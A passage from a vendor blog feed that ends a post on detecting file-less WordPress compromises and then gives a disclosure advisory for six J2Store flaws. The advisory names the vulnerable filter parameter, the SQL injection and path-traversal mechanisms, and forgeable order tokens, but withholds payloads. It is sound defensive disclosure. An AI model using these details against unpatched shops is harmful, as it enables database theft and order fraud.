&lt;span&gt;&lt;span&gt;# 4. Anything in mu-plugins runs on every request and cannot be deactivated.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; -la&lt;/span&gt;&lt;span&gt; wp-content/mu-plugins/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If a drop-in exists and you run nothing that installs one, that is your answer. Same for any file in &lt;code&gt;mu-plugins&lt;/code&gt; you did not put there, and anything in either location whose name begins with a dot is not an accident. Compare the administrator list from query two against what your own Users screen shows you: if the database holds an account the screen does not, something on the site is filtering it out.&lt;/p&gt;
&lt;p&gt;For the scheduler, install a WP-Cron viewer and read the hook names against your plugin list. A hook nothing installed registers is a leftover at best. WordPress only fires a hook something registered, so if you grep every PHP file under &lt;code&gt;plugins/&lt;/code&gt;, &lt;code&gt;themes/&lt;/code&gt; and &lt;code&gt;mu-plugins/&lt;/code&gt; for the literal hook name and get zero matches, no callback for it exists on the site.&lt;/p&gt;
&lt;h2&gt;What these checks still cannot do&lt;/h2&gt;
&lt;p&gt;The impostor sweep is WordPress only, and the reason is where it came from. Every rule in it was shaped against real infections on real WordPress sites, and the header it keys on is a plugin’s &lt;code&gt;Plugin URI&lt;/code&gt;, which on Joomla holds the author URL instead. The same field means two different things across the two platforms, so a rule measured on WordPress data says nothing dependable about a Joomla site. It also cannot see a vendor address that changes on a plugin already installed, because a plugin’s details are recorded the first time it is seen. It catches something newly planted, not a takeover of something you already had.&lt;/p&gt;
&lt;p&gt;The scheduler and options reads cover one site of a multisite network, the one whose address you registered, because iterating five thousand blogs inside a sixty second execution limit is not a thing that works.&lt;/p&gt;
&lt;p&gt;Reading the WordPress scheduler changes it, and the tool says so. Loading WordPress makes it schedule its own update checks, so some of what gets listed was created by the visit a moment earlier. Those events are marked and never counted, which is why an empty scheduler is something we can never observe.&lt;/p&gt;
&lt;p&gt;And a payload that registers its hook from a file planted under an ordinary plugin path buys the attribution exemption described above. That is tolerable because the file scanner, the dot-directory rule and the known-family list all still apply, and the alternative is flagging one of the most widely installed plugins in the world on every site that runs it.&lt;/p&gt;
&lt;p&gt;No single check here is a verdict. &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;Impostor files in core folders&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;the server crontab check&lt;/a&gt; were the last two additions in this group and the same was true of both. What changed this month is that the half of a WordPress compromise that never touches a file is now read twice a day, on every connected site, instead of being something you had to know to go and look for.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-04-11&lt;/strong&gt; A WordPress site is compromised The earliest marker we can date on the site that prompted all of this. It goes unnoticed for five months, through two rewrites of the malware.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; The agency asks us to clean it Cleaned the same day. Reinfected overnight. Three audits across the reinfection report zero hacked files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-13&lt;/strong&gt; Torn down, and the gap measured 88 wp_options rows, six scheduled events, a hidden administrator and 35 files removed in one pass. Four instruments each had a separate reason for missing it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-13&lt;/strong&gt; Five WordPress checks and one Joomla check built Scheduled events, suspect options, must-use plugins and drop-ins, rogue and hidden administrators, impostor plugin identities, plus Joomla Scheduled Tasks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; Live on every connected WordPress site Two of the five can mark a site as hacked. The other three report only, because that is what their measurements support so far.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/plugins/cron/&quot;&gt;The WP-Cron API&lt;/a&gt; in the WordPress developer handbook - the official statement that WP-Cron lives in the database and fires on page loads rather than on a timer, which is why a busy site reinfects in seconds&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/_get_dropins/&quot;&gt;_get_dropins()&lt;/a&gt; in the WordPress code reference - the authoritative list of every drop-in WordPress will load by name, since no prose documentation page for them exists&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/&quot;&gt;Must-use plugins&lt;/a&gt; in the WordPress documentation - why a file in that folder loads before every normal plugin and cannot be disabled except by deleting it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/wp_autoload_values_to_autoload/&quot;&gt;wp_autoload_values_to_autoload()&lt;/a&gt; - the four values WordPress 6.6 introduced for the autoload column, which is why counting autoloaded bytes with &lt;code&gt;autoload = &apos;yes&apos;&lt;/code&gt; under-reports on any upgraded site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://guard.io/labs/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts&quot;&gt;&quot;EtherHiding&quot;: Hiding Web2 Malicious Code in Web3 Smart Contracts&lt;/a&gt; by Nati Tal and Oleg Zaytsev, Guardio Labs, 13 October 2023 - the paper that named the technique, and it was compromised WordPress sites from day one&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware&quot;&gt;UNC5142 Leverages EtherHiding to Distribute Malware&lt;/a&gt; by Google Threat Intelligence, 16 October 2025 - roughly 14,000 compromised WordPress pages, and the injection points in a compromised install&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2026/&quot;&gt;State of WordPress Security in 2026&lt;/a&gt; by Patchstack with Monarx, February 2026 - 11,334 new vulnerabilities in 2025, 91% of them in plugins, and a weighted median of five hours from disclosure to first exploit&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>malware</category><category>hacked</category><category>hack detection</category><category>backdoor</category><category>monitoring</category><enclosure url="https://mysites.guru/img/og/blog/wordpress-hacks-a-file-scan-cannot-see.png" length="0" type="image/png"/></item><item><title>Six more J2Store flaws fixed in 3.3.23, 4.0.23 and 4.1.8</title><link>https://mysites.guru/blog/j2store-six-more-security-flaws-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/j2store-six-more-security-flaws-disclosure/</guid><description>J2Store 3.3.23, 4.0.23 and 4.1.8 fix six flaws mySites.guru reported, including an anonymous blind SQL injection that reads a Joomla shop&apos;s whole database.</description><pubDate>Tue, 15 Sep 2026 00:00:00 GMT</pubDate><content:encoded>
&lt;p&gt;&lt;a href=&quot;https://www.j2commerce.com/&quot;&gt;J2Store&lt;/a&gt; is one of the most widely installed e-commerce extensions for Joomla, turning ordinary Joomla articles into shop products. In August 2026 J2Commerce fixed &lt;a href=&quot;https://mysites.guru/blog/j2store-five-security-flaws-disclosure/&quot;&gt;five vulnerabilities we reported&lt;/a&gt;, across all three supported branches, and published them as CVEs crediting mySites.guru. This post is the second round. Reviewing that fix release turned up six more issues, all reported privately to J2Commerce, all assigned CVE identifiers by the Joomla CNA, and all fixed this morning in &lt;strong&gt;J2Store 3.3.23, 4.0.23 and 4.1.8&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The one that matters most needs no login at all: a &lt;strong&gt;blind SQL injection in the public product list that reads the shop’s entire database&lt;/strong&gt;. Every supported branch is affected, so whichever version of Joomla your shop runs, it needs updating today. If you manage more than a handful of shops, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found six more security issues in J2Store and reported them privately to J2Commerce. All six are fixed in &lt;strong&gt;3.3.23 (Joomla 3), 4.0.23 (Joomla 4) and 4.1.8 (Joomla 5 and 6)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated blind SQL injection, scored 8.7 High.&lt;/strong&gt; The storefront product list reads a filter value from the request without quoting it and concatenates it into a database query. No login, no CSRF token: an anonymous visitor reads the whole database one character at a time, the Super User password hash included&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arbitrary file read through the download handler&lt;/strong&gt;, also 8.7 High, returning files from outside the shop’s folders including &lt;code&gt;configuration.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;An anonymous request that can &lt;strong&gt;mark any order as Failed&lt;/strong&gt;, 8.7 High, plus &lt;strong&gt;incomplete CSRF protection&lt;/strong&gt; across the checkout and profile controllers at 7.1 High, a &lt;strong&gt;forgeable order access token&lt;/strong&gt; at 6.3 Medium, and &lt;strong&gt;unescaped request data in the PayPal notify redirect&lt;/strong&gt; at 5.3 Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your checkout overrides before updating.&lt;/strong&gt; The fix adds an anti-CSRF token to the cart, checkout and profile forms, so custom overrides and add-ons that ship their own copies of those templates need the same token or they return an Invalid Token error&lt;/li&gt;
&lt;li&gt;J2Commerce reports no evidence that any of the six were exploited on a live store&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla shop still running a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;We fix first and publish second&lt;/p&gt;&lt;div&gt;&lt;p&gt;mySites.guru discovered these issues and reported them to J2Commerce before publishing any detail. We are holding back the exact requests and the proof-of-concept payloads until enough sites have updated. This is how we handle every vulnerability we find.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Which version you need&lt;/h2&gt;
&lt;p&gt;Every supported branch is affected, and each has its own fix. The branch you are on follows from your Joomla version rather than from anything you chose:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Your Joomla version&lt;/th&gt;&lt;th&gt;Update J2Store to&lt;/th&gt;&lt;th&gt;Affected builds&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.3.23&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3.3.22 and earlier&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.0.23&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;4.0.22 and earlier&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5 or Joomla 6&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.1.8&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;4.1.7 and earlier&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;One thing to check before you update a live shop. The CSRF fix adds an anti-CSRF token to the cart, checkout and my-profile forms, which means &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;any custom template override&lt;/a&gt;, or any third-party add-on shipping its own copies of those templates, needs the same token adding to its own forms. J2Commerce names Easy Checkout specifically. Until those are updated to match, the affected actions produce an Invalid Token error for real shoppers, so a shop with heavily customised checkout templates wants a staging run rather than a Tuesday-afternoon click on Update.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A note from J2Commerce for mySites.guru users&lt;/p&gt;&lt;div&gt;&lt;p&gt;J2Commerce sent this through ahead of the release, and asked us to pass it on.&lt;/p&gt;&lt;p&gt;“Thanks to the responsible disclosure by Phil Taylor of mySites.guru, we’ve fixed six security vulnerabilities in J2Store, ranging from Medium to High severity. We have no evidence any of these were exploited on a live store. Even so, we recommend updating right away rather than waiting for your next maintenance window: Joomla 3 to J2Store 3.3.23, Joomla 4 to J2Store 4.0.23, Joomla 5 and Joomla 6 to J2Store 4.1.8.&lt;/p&gt;&lt;p&gt;Backup your site, then update through Joomla’s Components, Update screen, or download first from your account at J2Commerce.com. Full technical details are in the security advisory. Comprehensive update information is provided on install and in the J2Store dashboard. Contact us at &lt;a href=&quot;mailto:support@j2commerce.com&quot;&gt;support@j2commerce.com&lt;/a&gt; or j2commerce.com/support to request help.&lt;/p&gt;&lt;p&gt;Thank you to mySites.guru for the ongoing responsible disclosure that helps keep J2Store stores secure.”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The worst one: an anonymous visitor reads your whole database&lt;/h2&gt;
&lt;p&gt;Start with the one that needs no account, because it is the one an attacker can reach on any J2Store shop today. The storefront product list and the product-tags list both accept a &lt;code&gt;product_types&lt;/code&gt; array filter, which the framework populates straight from the request into model state. Both models then built the &lt;code&gt;product_type IN (...)&lt;/code&gt; fragment by wrapping each supplied value in literal quotes and joining them together, with no escaping and no check that the values were valid product-type keys at all. A value containing a single quote closes the string early, and an anonymous request controls part of the SQL.&lt;/p&gt;
&lt;p&gt;We proved it against a running shop. The injection is blind, so nothing is echoed back on the page, but the query can be made to pause for a chosen number of seconds when a guess is right and stay instant when it is wrong. Used as a timing oracle, that reads the database out one character at a time: every user record, every session, and the Super User’s stored password hash. No login, no token, nothing but a crafted request to a public page.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 15 September 2026 · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81567/&quot;&gt;CVE-2026-81567&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An anonymous visitor reads the entire database through a blind time-based injection in the public product and product-tags lists: every user record, every session, and the Super User password hash. No account and no CSRF token are needed. Reachable on any public storefront that exposes the standard product listing filter.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Blind SQL injection&lt;/span&gt;&lt;span&gt;Full database read&lt;/span&gt;&lt;span&gt;Password hashes exposed&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The download handler that reads any file&lt;/h2&gt;
&lt;p&gt;The second serious one is an arbitrary file read. &lt;code&gt;getFilePath()&lt;/code&gt; built the on-disk path to a purchased digital download by concatenating the configured attachment folder with the product file’s stored save name, normalising the separators but never resolving or rejecting a &lt;code&gt;../&lt;/code&gt; segment, and never confirming the result stayed inside the attachment folder. A path that climbs out of the web root is served like any ordinary download. We retrieved the site’s &lt;code&gt;configuration.php&lt;/code&gt;, which holds the database password and the site secret, and &lt;code&gt;/etc/passwd&lt;/code&gt;, to a request holding only an order token.&lt;/p&gt;
&lt;p&gt;Reaching it is a chain rather than a single anonymous request, because the traversing path has to be stored first, most plausibly through the admin product-file save actions that the CSRF gap below leaves forgeable. It compounds badly, though, because J2Store’s order access tokens were predictable, which is the next finding.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 15 September 2026 · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81568/&quot;&gt;CVE-2026-81568&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The download handler serves files from outside the attachment folder when fed a stored traversing path, returning configuration.php with the database credentials and the site secret. Token-gated rather than fully anonymous, and chainable with the admin CSRF gap to plant the path without ever compromising an admin account.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Arbitrary file read&lt;/span&gt;&lt;span&gt;Leaks site secret&lt;/span&gt;&lt;span&gt;CSRF-to-read chain&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The other four&lt;/h2&gt;
&lt;p&gt;Reported and fixed in the same release:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Finding&lt;/th&gt;&lt;th&gt;Who can reach it&lt;/th&gt;&lt;th&gt;What it does&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Incomplete CSRF protection on checkout and profile controllers&lt;/td&gt;&lt;td&gt;Any page a logged-in shopper visits&lt;/td&gt;&lt;td&gt;Checkout flow actions and &lt;code&gt;saveAddress()&lt;/code&gt; ran without verifying the request came from the site, so a crafted page could overwrite a billing or shipping address before order confirmation, with nothing shown to the shopper. That sub-case is the consequential one, because it redirects a paid order’s goods.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Any order can be marked Failed by anyone&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;A failed PayPal signature check was passed down as an ordinary error rather than stopping processing, and any error made the handler set the named order to Failed regardless of its real status. An anonymous POST with a guessed order id flips a pending, confirmed or shipped order straight to Failed.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Predictable, forgeable order access token&lt;/td&gt;&lt;td&gt;Needs the site secret&lt;/td&gt;&lt;td&gt;The token guarding order lookup and digital downloads was derived from the site secret and the order id rather than generated randomly, and never rotated, so anyone who learns that secret can mint the access token for every order on the shop. This is why the file read above matters twice over.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Unescaped request data in the PayPal notify redirect&lt;/td&gt;&lt;td&gt;Victim must follow a crafted link&lt;/td&gt;&lt;td&gt;The notify handler concatenated every value from &lt;code&gt;$_REQUEST&lt;/code&gt; into the query string of its follow-on redirect with no encoding, so a separator in a submitted value injected extra parameters into the next request. The least serious of the six.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;All six findings at a glance. The scores are J2Commerce’s own CVSS 4.0 figures from the advisory, published alongside the release:&lt;/p&gt;















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Finding&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Login needed&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Unauthenticated blind SQL injection in the storefront product list&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81567/&quot;&gt;CVE-2026-81567&lt;/a&gt;&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Arbitrary file read via the download handler&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81568/&quot;&gt;CVE-2026-81568&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Download token&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Any order can be marked Failed by anyone&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82189/&quot;&gt;CVE-2026-82189&lt;/a&gt;&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Incomplete CSRF protection on checkout and profile controllers&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78081/&quot;&gt;CVE-2026-78081&lt;/a&gt;&lt;/td&gt;&lt;td&gt;None, per action&lt;/td&gt;&lt;td&gt;7.1 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Predictable, forgeable order access token&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82190/&quot;&gt;CVE-2026-82190&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Needs the site secret&lt;/td&gt;&lt;td&gt;6.3 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Unescaped request data reflected into the PayPal notify redirect&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82191/&quot;&gt;CVE-2026-82191&lt;/a&gt;&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Joomla CNA published all six records later the same day, and every one credits Phil Taylor of mySites.guru as the finder. The scores above are the published records’ own CVSS 4.0 figures. Two came out higher than the draft numbers in the vendor advisory: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82190/&quot;&gt;CVE-2026-82190&lt;/a&gt; moved from 5.1 to 6.3, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-82191/&quot;&gt;CVE-2026-82191&lt;/a&gt; from 4.5 to 5.3. The other four matched.&lt;/p&gt;
&lt;h2&gt;Why round two exists at all&lt;/h2&gt;
&lt;p&gt;Round two happened because we retested the August fix release rather than closing the ticket, and it is worth saying why that mattered. Two of these six, the anonymous SQL injection and the file read, were not in the original report and had nothing to do with the CSRF work J2Commerce was fixing. They surfaced only because we went back through the code that shipped alongside the round-one fix.&lt;/p&gt;
&lt;p&gt;The vendor’s first fix build had to be rejected, too. It closed the cart CSRF gaps correctly but left both of those criticals open, and it shipped with its version number unchanged, so no Joomla site would ever have been offered it and no scanner would have told the difference between patched and unpatched. The corrected build fixed the version string and closed the rest. A fix release deserves the same scrutiny as the code it fixes, which is the reusable lesson here for anyone shipping security patches.&lt;/p&gt;
&lt;h2&gt;Joomla 3, and the deadline J2Commerce has already set&lt;/h2&gt;
&lt;p&gt;Most of the shops these six flaws affect sit on the branch with the least time left. Six in ten of the affected installs we can see are on Joomla 3, which &lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;reached its own end of life on 17 August 2023&lt;/a&gt; and has had no free security fixes from the Joomla project since. The paid Extended Long Term Support programme that followed closed on 17 February 2025, so there is no official route to a patched Joomla 3 core at any price.&lt;/p&gt;
&lt;p&gt;On 3 September 2026 J2Commerce set a date for the shop extension too. &lt;a href=&quot;https://www.j2commerce.com/blog/j2store-3-reaches-end-of-life-on-october-19-2026&quot;&gt;J2Store 3 stops receiving security patches on 19 October 2026&lt;/a&gt;, two years to the day after the company took J2Store over. From that date the 3.x line gets no security fixes, no support and no further releases of any kind, including for anything found afterwards. J2Store 4 has its own date a year later, on 19 October 2027.&lt;/p&gt;
&lt;p&gt;A Joomla 3 shop on J2Store 3 therefore has two deadlines stacked on top of each other, one that passed three years ago and &lt;a href=&quot;https://joomla3security.com/vendors/j2commerce/&quot;&gt;one about five weeks out&lt;/a&gt;, and 3.3.23 is among the last builds that will ever answer either. That is the real context for the six issues above. Today’s release closes the anonymous database read. It does nothing about the arrangement that produced it, which is a shop extension sitting on a platform the project itself stopped patching for free in 2023.&lt;/p&gt;
&lt;p&gt;The measured state of those shops is worse than the deadline alone suggests. Seven in ten of the Joomla 3 installs caught by this release are below 3.3.21, which puts them behind all three of this year’s advisories rather than just this one. For a shop in that position 19 October is close to a formality, because nothing has been applied for months anyway.&lt;/p&gt;
&lt;h2&gt;Patch now, but plan to migrate&lt;/h2&gt;
&lt;p&gt;The right move for a shop still on J2Store 3 is patch now, migrate soon. Update to 3.3.23 to close what is open, then use the time it buys to plan the move to J2Store 4, or on to J2Commerce 6, rather than treating the patch as somewhere to stay. We cover that route, and why the shop migration and the Joomla migration are one project rather than two, in &lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;J2Store 3 stops getting security fixes on 19 October 2026&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Shops on 4.0.x and 4.1.x have no such deadline. They still need the update today, and 4.1.8 is the branch that continues into Joomla 6.&lt;/p&gt;
&lt;h2&gt;Was any of this being exploited?&lt;/h2&gt;
&lt;p&gt;J2Commerce states it has no evidence that any of these six were exploited on a live store, and neither do we. No proof of concept has been published for any of them. This post describes mechanisms rather than requests, and we are holding the exact payloads back until enough sites have updated.&lt;/p&gt;
&lt;p&gt;The honest caveat is which one to check for. The anonymous SQL injection is the one worth going back through a busy shop’s logs for, because it is reachable without a login and a timing-based extraction leaves a recognisable run of near-identical requests to the product list. The file read and the order-status change leave much less behind. If you ran an affected build, the highest-value review is recent order-state changes with no matching payment, the same advice as round one, plus any unusual burst of product-list requests.&lt;/p&gt;
&lt;h2&gt;How mySites.guru helps&lt;/h2&gt;
